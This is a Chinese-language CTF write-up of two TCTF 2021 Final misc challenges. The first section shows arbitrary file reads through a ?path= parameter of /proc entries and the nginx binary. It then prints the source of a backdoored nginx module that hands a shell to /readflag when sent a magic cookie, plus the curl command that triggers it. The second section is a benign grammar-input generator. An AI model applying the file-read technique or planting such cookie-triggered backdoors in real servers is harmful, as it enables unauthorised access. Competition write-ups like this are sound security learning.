TCTF 2021 Final Writeup
TCTF 2021 Final Summary
TCTF 给我的第一印象是整活整挺好,又是各种物料、队旗,还请了罗翔老师在直播的时候讲课,多大的牌面啊,整挺好……
这次一共做了两个 Misc,其中一个 Misc 还是高校新星赛的一血,虽然那道题后期都被玩的没意思了,分值一路拉低到 200pt,Web 是一道没出,总觉得现在都喜欢搞 XSS,但细节我还是不太会,二进制方面,容易头大……我说我要学来着,但还是做自己擅长的题去了……
之后交流中,得知我的那个 Misc 一血的解法大概率是个很奇葩的非预期,废话不多说,开始吧~
eeenginx - misc
题解
访问页面首先看到的是一句话:
Try to download some files, example: ?path=/readflag
于是尝试访问 /?path=/readflag
,稍微逆一下看着是读取根目录的 /flag
,但这个对于直接 /?path=/flag
是没有权限的。
之后尝试访问了蛮多东西,比如 /?path=/proc/cpuinfo
,腾讯居然给这台服务器开了一个AMD EPYC 7K62 48-Core Processor
的服务器,真是有钱任性(
以下的路径均可尝试:
/proc/version # 获取系统版本
/proc/mounts # 系统磁盘挂载信息
/proc/self/status # 当前应用运行状态
/proc/self/maps # 获取当前的内存映射
/proc/self/exe # 获取当前执行的应用程序
从 /proc/self/maps
可以得到 nginx
的运行目录:
555c3f9f6000-555c3fa2e000 r--p 00000000 00:35 1049769 /usr/local/openresty/nginx/sbin/nginx
555c3fa2e000-555c3fb51000 r-xp 00038000 00:35 1049769 /usr/local/openresty/nginx/sbin/nginx
555c3fb51000-555c3fb9f000 r--p 0015b000 00:35 1049769 /usr/local/openresty/nginx/sbin/nginx
555c3fb9f000-555c3fba1000 r--p 001a8000 00:35 1049769 /usr/local/openresty/nginx/sbin/nginx
555c3fba1000-555c3fbbf000 rw-p 001aa000 00:35 1049769 /usr/local/openresty/nginx/sbin/nginx
...
也可以从这里那道一个没什么用的配置文件……
?path=/usr/local/openresty/nginx/conf/nginx.conf
之后比较没有头绪,于是开始搜一些 nginx
的相关漏洞,然后发掘还是需要那到 nginx
的版本才能确定有没有用……
于是先下载好其二进制文件,拉到本地:/proc/self/exe
正常的 nginx
可以通过 nginx -v
查看版本信息:
> nginx -v
nginx version: nginx/1.18.0
而这个 nginx
运行时有文件无法读取,所以拿不到它的版本,想了想,干脆用 strings
提取字符串得了,而这一提取,发现了大秘密:
> strings ./nginx | grep nginx
ngx_http_eeenginx
logs/nginx.pid
logs/nginx.lock
/usr/local/openresty/nginx/
conf/nginx.conf
nginx version: openresty/1.19.3.2
...
ngx_http_eeenginx.c
eeenginx.h
eeenginx.c
...
/opt/module/ngx_http_eeenginx.c
ngx_http_eeenginx_body_filter
ngx_http_eeenginx_header_filter
ngx_http_eeenginx
ngx_http_eeenginx_ctx
ngx_http_eeenginx_init
/opt/module/eeenginx.c
ngx_http_variable_nginx_version
ngx_stream_variable_nginx_version
ngx_http_eeenginx.c
ngx_http_eeenginx_body_filter
ngx_http_eeenginx_init
ngx_http_eeenginx_header_filter
ngx_http_eeenginx_ctx
ngx_http_eeenginx
原来是给 nginx
写了个 module,一起编译进去了啊!于是自然拿到了那两段源码:/?path=/opt/module/ngx_http_eeenginx.c
以及 /?path=/opt/module/eeenginx.c
int exec_shell(int fd)
{
int pid;
pid = fork();
if (pid > 0)
{
close(fd);
exit(0);
}
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
execve("/readflag", NULL, NULL);
return 0;
}
ngx_http_eeenginx_header_filter(ngx_http_request_t *r)
{
int cmd_fd = r->connection->fd;
ngx_table_elt_t ** cookies = NULL;
cookies = r->headers_in.cookies.elts;
if(r->headers_in.cookies.nelts==1){
if(strncmp((char *)cookies[0]->value.data,"session=eeenginx97826431357894989;", sizeof("session=eeenginx97826431357894989"))==0){
exec_shell(cmd_fd);
}
}
return ngx_http_next_header_filter(r);
}
于是直接 curl http://host:port/ -v --cookie "session=eeenginx97826431357894989;"
遇到报错:Received HTTP/0.9 when not allowed
于是加个参数:curl http://host:port/ -v --cookie "session=eeenginx97826431357894989;" --http0.9
flag{thanks_to_tm3yshell7}
后记
比赛后得知可以从 /proc/self/fd/2
直接读取 nginx
的 error.log
比赛后得知可以从 /proc/self/fd/5
直接读取 nginx
的 access.log
之后就可以抄作业了.jpg
怪不得大家最后基本上全部过了……
PS: 居然还有人扫 pid
how2gen - misc
题解
这道题给出的 task
是:
def gen_grammar():
gram = '''%import common.LETTER
%import common.WORD
%import common.NUMBER
%import common.DIGIT
%import common.WS
%ignore WS
start: statement+
'''
num = 0
exprs = "expression: "
for i in range(50):
if i!=0:
exprs += " | "
exprs += genexpr()
exprs += "-> cov_%d" % num
num += 1
exprs += "\n"
gram += exprs
stmts = "statement: "
for i in range(100):
if i!= 0:
stmts += " | "
stmts += genstmt()
stmts += "-> cov_%d" % num
num += 1
stmts += "\n"
gram += stmts
return gram
其中 genexpr
生成一个随机的表达式语法,例如:
WORD "~" expression "$" WORD "%" DIGIT
NUMBER "-" NUMBER "@" expression
DIGIT "~" DIGIT "&" expression
...
而 genstmt
生成一个随机的语句语法,例如:
"Dy3tUI" WORD "m0Srz" DIGIT expression "rqDn0" statement NUMBER
"dgo56s" NUMBER "HDM" NUMBER NUMBER
"tHH" expression expression statement expression expression "YDXwgO" expression "0Zr"
...
我们的任务是:
found = set()
ok = True
tot = 0
for i in range(N):
one = codes[i].decode('latin-1')
try:
res = parser.parse(one)
cov = collect_cov(res)
tot |= cov
if bin(cov).count('1') < 20:
# you assemble it manually?
ok = False
elif cov in found:
ok = False
else:
found.add(cov)
except:
ok = False
if not ok:
break
if bin(tot).count('1') < 150:
ok = False
if ok:
self.request.sendall(b"%s\n"%(flag))
else:
self.request.sendall(b"failed\n")
self.request.close()
其中 N = 0x1000
,故需要生成 4096 段 code
且满足这几个需求:
- 每一个
code
至少使用 20 种不同的 expression 或者 statement code
之间两两互不相同- 在 4096 个
code
执行结束之后,全部 150 个 expression 和 statement 均需要被使用
这个生成程序写起来很简单,只需要递归地构造语句即可。但是需要将其分为可递归与不可递归的两类,因为如果遇到一个如 "dgo56s" NUMBER "HDM" NUMBER NUMBER
的 statement,那么是无论如何也不能够在这个语句中使用 20 种语法。
因此我的解决方案算是比较笨的,也是比较暴力的。即先按顺序生成那些语句,并且指定要用哪些表达式。这样虽然有一定进入死循环的风险,但总体来说还是比较稳的,而且由于生成有随机的过程,遇到重复的概率极低。
全部代码:
parser = None
expressions = []
expressions_end = []
expressions_not_end = []
statements = []
statements_end = []
statements_not_end = []
used = set()
name_map = {}
table = {
'NUMBER': '233',
'LETTER': 'L',
'WORD': 'hello',
'DIGIT': '1'
}
def gen_expr(idx = -1):
global expressions
global expressions_end
global expressions_not_end
global used
# 当前语法使用量不足 10
if len(used) < 10:
expr = random.choice(expressions_not_end) # 随机选择可以继续递归的
elif idx > 0: # 当然指定了表达式
expr = expressions[idx]
else:
expr = random.choice(expressions_end) # 随机选择可以终止的
used.add(f"{expr.origin.name}{expr.order}") # 避免重复
code = ' ' # 生成 code
for item in expr.expansion:
if item.is_term:
if item.filter_out:
code += name_map[item.name] + ' '
else:
code += table[item.name] + ' '
elif item.name == 'expression':
code += gen_expr() + ' '
return code
def gen_stat(idx = -1, use_expr_idx = -1, depth = 0, end = False):
global statements
global statements_end
global statements_not_end
global used
if idx < 0: # 如果未指定语句
stat = random.choice(statements_not_end) if not end else random.choice(statements_end)
else: # 如果指定了语句
stat = statements[idx]
code = ' '
used.add(f"{stat.origin.name}{stat.order}")
flag = use_expr_idx > 0
for item in stat.expansion:
if item.is_term:
if item.filter_out:
code += name_map[item.name] + ' '
else:
code += table[item.name] + ' '
else:
if item.name == 'statement':
res = gen_stat(end = True) # 使用一个会终止的语句
elif item.name == 'expression':
# 仅仅在第一次填充表达式时填充选择的表达式
if flag:
res = gen_expr(use_expr_idx)
flag = False
else:
res = gen_expr()
code += res + ' '
return code
def has_expr(expr):
return len([i for i in expr.expansion if i.name == 'expression']) > 0
def run(gram = None):
global parser
global expressions_end
global expressions_not_end
global expressions
global statements
global statements_end
global statements_not_end
global used
gram = open('how2gen/gram.txt','r',encoding='latin-1').read() if gram is None else gram
# 解析语法
parser = lark.Lark(gram)
# 记录真实名称
for item in parser.terminals:
name_map[item.name] = item.pattern.value
# 分类
expressions = parser.rules[1:51]
expressions_end = [i for i in expressions if not has_expr(i)]
expressions_not_end = [i for i in expressions if has_expr(i)]
statements = parser.rules[51:151]
statements_end = [i for i in statements if not has_expr(i)]
statements_not_end = [i for i in statements if has_expr(i)]
statements_not_end_idx = [i for i in range(100) if has_expr(statements[i])]
print('parse finished.')
# 开始生成 code
codes = []
# 先按顺序生成需要的 statements
# 这样确保前 100 个可以覆盖绝大部分的语法
for idx in tqdm(statements_not_end_idx):
used.clear()
while len(used) < 20:
used.clear()
stat = gen_stat(idx = idx, use_expr_idx = idx % 50)
codes.append(stat)
# 剩余部分生成
for _ in tqdm(range(0x1000 - len(statements_not_end_idx))):
used.clear()
while len(used) < 20:
used.clear()
stat = gen_stat()
codes.append(stat)
print('code gen finished.')
# 压缩并上传
code = '|'.join(codes)
res = zlib.compress(code.encode()).hex()
res += ' '
return res
flag{Di3_G7enzen_mEiNer_5prache_beDeuTeN_dIe_GrenzEn_meinEr_Welt}
后记
等到再交流交流或许会有更多的感触……
相对而言,腾讯是真的喜欢编译原理相关啊……前段时间刚刚因为作业学了一些 parser 相关的知识,写了个MiniCalculator,这几天倒是各种见到相关的东西……还有那道bali也是……